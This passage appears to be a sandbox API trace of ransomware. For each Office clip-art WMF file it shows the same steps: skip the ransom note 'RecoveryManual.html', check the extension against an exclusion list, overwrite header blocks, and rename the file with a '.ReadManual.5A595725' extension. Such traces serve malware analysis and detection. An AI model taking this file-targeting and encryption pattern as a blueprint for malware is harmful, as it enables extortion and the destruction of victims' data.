lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.236] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.236] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x794) returned 0x2f0000 [0267.236] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.236] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38790513535) returned 1 [0267.236] CloseHandle (hObject=0x184) returned 1 [0267.236] SetSecurityInfo () returned 0x57 [0267.237] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.237] CloseHandle (hObject=0x194) returned 1 [0267.237] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1 [0267.237] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152892.WMF" | out: lpString1="J0152892.WMF") returned="J0152892.WMF" [0267.237] lstrcmpiW (lpString1="J0152892.WMF", lpString2="RecoveryManual.html") returned -1 [0267.237] StrStrIW (lpFirst="J0152892.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.237] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.237] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.237] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" [0267.237] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.ReadManual.5A595725" [0267.237] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.ReadManual.5A595725") returned 87 [0267.237] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38790613210) returned 1 [0267.237] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf")) returned 0x20 [0267.238] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.238] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10668) returned 1 [0267.238] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x29ac, lpName=0x0) returned 0x184 [0267.238] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.239] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.239] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.241] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.241] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x29ac) returned 0x2f0000 [0267.241] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.241] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38790997173) returned 1 [0267.241] CloseHandle (hObject=0x184) returned 1 [0267.241] SetSecurityInfo () returned 0x57 [0267.241] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.241] CloseHandle (hObject=0x194) returned 1 [0267.242] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1 [0267.242] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152894.WMF" | out: lpString1="J0152894.WMF") returned="J0152894.WMF" [0267.242] lstrcmpiW (lpString1="J0152894.WMF", lpString2="RecoveryManual.html") returned -1 [0267.242] StrStrIW (lpFirst="J0152894.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.242] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.242] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.242] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" [0267.242] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.ReadManual.5A595725" [0267.242] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.ReadManual.5A595725") returned 87 [0267.242] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38791098124) returned 1 [0267.242] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf")) returned 0x20 [0267.242] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.243] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11348) returned 1 [0267.243] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c54, lpName=0x0) returned 0x184 [0267.243] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.244] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.244] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.246] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.246] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c54) returned 0x2f0000 [0267.246] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.246] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38791476420) returned 1 [0267.246] CloseHandle (hObject=0x184) returned 1 [0267.246] SetSecurityInfo () returned 0x57 [0267.246] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.246] CloseHandle (hObject=0x194) returned 1 [0267.246] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1 [0267.246] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152898.WMF" | out: lpString1="J0152898.WMF") returned="J0152898.WMF" [0267.246] lstrcmpiW (lpString1="J0152898.WMF", lpString2="RecoveryManual.html") returned -1 [0267.246] StrStrIW (lpFirst="J0152898.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.246] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.246] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.247] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.247] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" [0267.247] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.ReadManual.5A595725" [0267.247] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.ReadManual.5A595725") returned 87 [0267.247] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38791569647) returned 1 [0267.247] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf")) returned 0x20 [0267.247] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.247] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4496) returned 1 [0267.247] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1190, lpName=0x0) returned 0x184 [0267.248] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.248] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.248] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.250] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.250] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1190) returned 0x2f0000 [0267.251] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.251] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38791936640) returned 1 [0267.251] CloseHandle (hObject=0x184) returned 1 [0267.251] SetSecurityInfo () returned 0x57 [0267.251] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.251] CloseHandle (hObject=0x194) returned 1 [0267.251] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1 [0267.251] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153047.WMF" | out: lpString1="J0153047.WMF") returned="J0153047.WMF" [0267.251] lstrcmpiW (lpString1="J0153047.WMF", lpString2="RecoveryManual.html") returned -1 [0267.251] StrStrIW (lpFirst="J0153047.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.251] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.251] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.251] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" [0267.252] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.ReadManual.5A595725" [0267.252] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.ReadManual.5A595725") returned 87 [0267.252] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38792035270) returned 1 [0267.252] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf")) returned 0x20 [0267.253] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.254] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33068) returned 1 [0267.254] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x812c, lpName=0x0) returned 0x184 [0267.254] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.254] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.254] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.256] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.256] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x812c) returned 0x2f0000 [0267.257] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.258] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38792647182) returned 1 [0267.258] CloseHandle (hObject=0x184) returned 1 [0267.258] SetSecurityInfo () returned 0x57 [0267.258] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.258] CloseHandle (hObject=0x194) returned 1 [0267.258] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1 [0267.258] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153087.WMF" | out: lpString1="J0153087.WMF") returned="J0153087.WMF" [0267.258] lstrcmpiW (lpString1="J0153087.WMF", lpString2="RecoveryManual.html") returned -1 [0267.258] StrStrIW (lpFirst="J0153087.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.258] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.258] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.258] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.258] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.258] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.258] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.258] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.258] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.258] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.258] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.258] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.258] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.259] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.259] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.259] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" [0267.259] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.ReadManual.5A595725" [0267.259] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.ReadManual.5A595725") returned 87 [0267.259] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38792742948) returned 1 [0267.259] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf")) returned 0x20 [0267.259] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.259] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1912) returned 1 [0267.259] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x778, lpName=0x0) returned 0x184 [0267.259] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.260] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.260] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.261] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.262] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x778) returned 0x2f0000 [0267.262] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.262] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38793053347) returned 1 [0267.262] CloseHandle (hObject=0x184) returned 1 [0267.262] SetSecurityInfo () returned 0x57 [0267.262] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.262] CloseHandle (hObject=0x194) returned 1 [0267.262] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1 [0267.262] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153089.WMF" | out: lpString1="J0153089.WMF") returned="J0153089.WMF" [0267.262] lstrcmpiW (lpString1="J0153089.WMF", lpString2="RecoveryManual.html") returned -1 [0267.262] StrStrIW 